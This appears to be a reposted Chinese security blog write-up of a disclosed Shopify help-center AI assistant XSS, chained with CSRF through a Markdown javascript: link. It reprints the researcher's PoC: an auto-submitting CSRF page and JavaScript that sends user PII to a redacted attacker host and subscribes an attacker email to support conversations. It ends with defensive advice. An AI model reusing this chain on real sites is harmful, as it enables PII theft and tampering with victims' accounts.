文章总结： 本文详细分析了Shopify帮助中心AI助手中存在的反射型XSS漏洞，攻击者通过CSRF将恶意Markdown问候语注入用户会话，利用未过滤的javascript:协议在认证会话中执行代码。漏洞可窃取用户PII信息并篡改客服会话订阅状态。文章提供了完整PoC代码链，并针对开发者和安全研究者提出了Markdown渲染安全、CSRF防护、API隔离等防御建议。 综合评分： 85 文章分类： 漏洞分析,WEB安全,实战经验,安全建设,解决方案
【$1,600】Shopify帮助中心AI助手XSS漏洞
原创
骨哥说事 骨哥说事
骨哥说事
2026年6月19日 12:04 上海
在小说阅读器读本章
去阅读
| | | — | | 声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。 |
#
#
防走失：https://gugesay.com/
不想错过任何消息？设置星标↓ ↓ ↓
#
导语
随着AI客服与智能助手成为SaaS平台的标配，其交互逻辑的复杂性也悄然引入了新的安全边界。2024年5月16日，国外白帽研究员 saltymermaid 向Shopify提交了一份高质量的漏洞报告，成功在 help.shopify.com 帮助中心AI助手的“问候语（Greeting）”流程中，利用CSRF结合Markdown渲染特性，触发了反射型XSS。该漏洞不仅能在已认证会话中执行任意JavaScript代码，还能窃取用户PII信息并篡改客服会话订阅状态。今天，我们将完整还原这份PoC的攻击链路，逐行拆解代码细节，并提炼出对开发者与安全研究者极具价值的防御经验。
漏洞核心逻辑：从“问候语”到XSS的跳板
Shopify帮助中心内置了AI对话助手，为提升交互体验，系统支持使用Markdown语法渲染回复内容。研究员在测试过程中发现，AI助手的问候语（Greeting）参数可通过跨站POST请求写入用户会话状态。由于该参数在后续渲染时未对Markdown链接目标进行严格过滤，攻击者即可构造包含 javascript: 协议的Markdown图片/链接语法。当受害者打开恶意页面并触发渲染后的问候语时，浏览器便会执行内嵌的JS代码，从而在已认证的 help.shopify.com 会话中完成XSS攻击。
PoC完整流程与具体代码还原
为满足技术爱好者对实战细节的探究需求，以下完整呈现研究员提交的PoC HTML结构、Base64载荷及解码后的执行逻辑。代码已按原始报告内容1:1保留，便于读者对照分析。
1. 攻击载体HTML（CSRF+自动跳转）
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shopify Search Form</title>
</head>
<body>
Please hold...
<!-- 第一步：跨站POST请求，将恶意greeting写入受害者会话 -->
<form id="post-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="POST">
<input type="hidden" name="query" value="Is this XSS?">
<input type="hidden" name="greeting" value="))">
</form>
<!-- 第二步：延迟2秒后GET请求，将受害者重定向至渲染页面 -->
<form id="get-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="GET">
<input type="hidden" name="q" value="Is this XSS?">
</form>
<script>
document.getElementById('post-form').submit();
setTimeout(() => {
document.getElementById('get-form').submit();
},2000);
</script>
</body>
</html>
2. Base64解码后的XSS执行逻辑（核心Payload）
上述HTML中 greeting 参数使用了Markdown图片语法：))。Base64字符串解码后，实际执行的JavaScript代码如下：
// 1. 泄露受害者PII信息至攻击者控制的域名（最坏情况）
fetch(`//████████?${JSON.stringify(window.__remixContext.state.loaderData.root.userInfo)}`);
// 2. 获取受害者最近一条客服会话ID
fetch("/messages/graphql", {
"headers": {
"content-type": "application/json",
"x-shopify-react-xhr": "1"
},
"body": `{"variables":{},"query":"query convs { conversations(last: 1) { edges { node { id } } } }"}`,
"method": "POST"
})
.then(response => response.text())
.then(data => {
// 3. 订阅该会话，将攻击者邮箱加入对话通知列表
const cid = JSON.parse(data).data.conversations.edges[0].node.id ?? null;
fetch("/messages/graphql", {
"headers": {
"content-type": "application/json",
"x-shopify-react-xhr": "1"
},
"body": `{"variables":{},"query":"mutation subscriberCreate { subscriberCreate(conversationId: \\"${cid}\\", email: \\"[email protected]\\") { __typename }}"}`,
"method": "POST"
});
});
3. 触发条件说明
由于渲染后的链接默认带有 target="_blank" 属性，现代浏览器出于安全策略会拦截普通左键点击的 javascript: 协议。研究员指出，受害者需使用**鼠标滚轮点击（Mouse Wheel Click）**该链接方可触发XSS。一旦触发，开发者控制台网络面板即可观察到上述GraphQL请求与PII外发行为。
攻击链深度解析
- CSRF作为“状态写入器”帮助中心搜索路由未严格校验请求来源与CSRF Token，攻击者通过跨站POST将恶意
greeting值注入受害者会话。这一步绕过了常规的前端输入限制，直接篡改了服务端/客户端状态。 - Markdown渲染的“协议盲区”系统使用Markdown解析器将
greeting转换为HTML。多数轻量级解析器会将渲染为<a href="url"><img src="..."></a>或类似结构。若未对href属性进行协议白名单过滤（如仅允许http/https/mailto），javascript:或data:协议即可直接执行。 - GraphQL接口的“二次利用”XSS触发后，Payload并未停留在简单的Cookie窃取，而是直接调用Shopify内部的GraphQL端点。通过查询
conversations获取会话ID，再执行subscriberCreate突变操作，实现了业务逻辑层面的越权篡改。这种“XSS+内部API调用”的模式在SaaS平台中极具破坏性。
影响评估与官方修复方案
研究员基于Shopify漏洞赏金计算器给出了详细的CVSS评分：
- Base Score: 4.2 (AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N)
- Environment Score: 3.0 (Non-Core, CR/IR/AR均调低)
- 核心影响：可窃取
window.__remixContext.state.loaderData.root.userInfo中的姓名、邮箱、店铺ID等PII信息；可强制将攻击者邮箱订阅至受害者客服会话，干扰正常支持流程。 - 修复方案：Shopify官方已移除该AI助手问候语中由攻击者控制的输入路径，从根本上切断了状态注入点。
五、 给开发者与安全研究者的实战建议
- Markdown渲染必须“零信任”任何支持用户输入或会话状态反射的Markdown解析，务必使用经过安全审计的库（如
DOMPurify、markdown-it-sanitizer），并严格配置协议白名单。禁止直接输出未过滤的href/src属性。 - CSRF防护不能仅依赖同源策略涉及状态变更的POST请求必须绑定一次性CSRF Token，并校验
Origin/Referer头。对于AI助手、搜索路由等高频交互接口，建议引入SameSite Cookie策略与请求签名验证。 - 内部API需做“XSS隔离”GraphQL/REST接口不应默认信任前端会话。关键业务操作（如订阅、修改配置）应增加二次验证或权限边界检查，避免XSS成为横向移动的跳板。
- 安全测试视角：关注“边缘交互态”AI助手的问候语、自动回复模板、会话缓存等“非核心业务流”往往是安全测试的盲区。白帽研究提示我们：越贴近用户体验的细节，越需要严谨的安全边界设计。
总结与展望
这份来自 saltymermaid 的报告再次证明：现代Web应用的安全防线，往往不在复杂的加密算法中，而在一次未过滤的Markdown渲染、一个缺失CSRF校验的POST路由里。随着AI功能深度嵌入SaaS产品，状态管理、富文本渲染与内部API调用的耦合度将持续升高。对开发者而言，建立“输入即威胁”的防御思维、完善自动化安全测试流水线；对爱好者而言，深入研读高质量PoC、理解攻击链的组装逻辑，是提升实战能力的最佳路径。
安全没有终点，只有不断迭代的边界。希望本文的拆解能为你带来启发，也欢迎在评论区分享你对AI交互安全设计的看法。
参考资料
- 来源：HackerOne公开报告 – saltymermaid提交的Shopify Help Center AI助手XSS漏洞详情（含完整PoC、CVSS评估与修复说明）
- 参考：OWASP Foundation – 《Markdown Sanitization Cheat Sheet》与《CSRF Prevention Cheat Sheet》（提供富文本过滤与跨站请求伪造防御的行业标准实践）
- 参考：Shopify Bug Bounty Program – 官方漏洞赏金计划说明与历史修复案例归档（用于理解SaaS平台安全响应流程与评分标准）
- END –
感谢阅读，如果觉得还不错的话，动动手指给个三连吧～
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：骨哥说事 骨哥说事 骨哥说事《【$1,600】Shopify帮助中心AI助手XSS漏洞》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论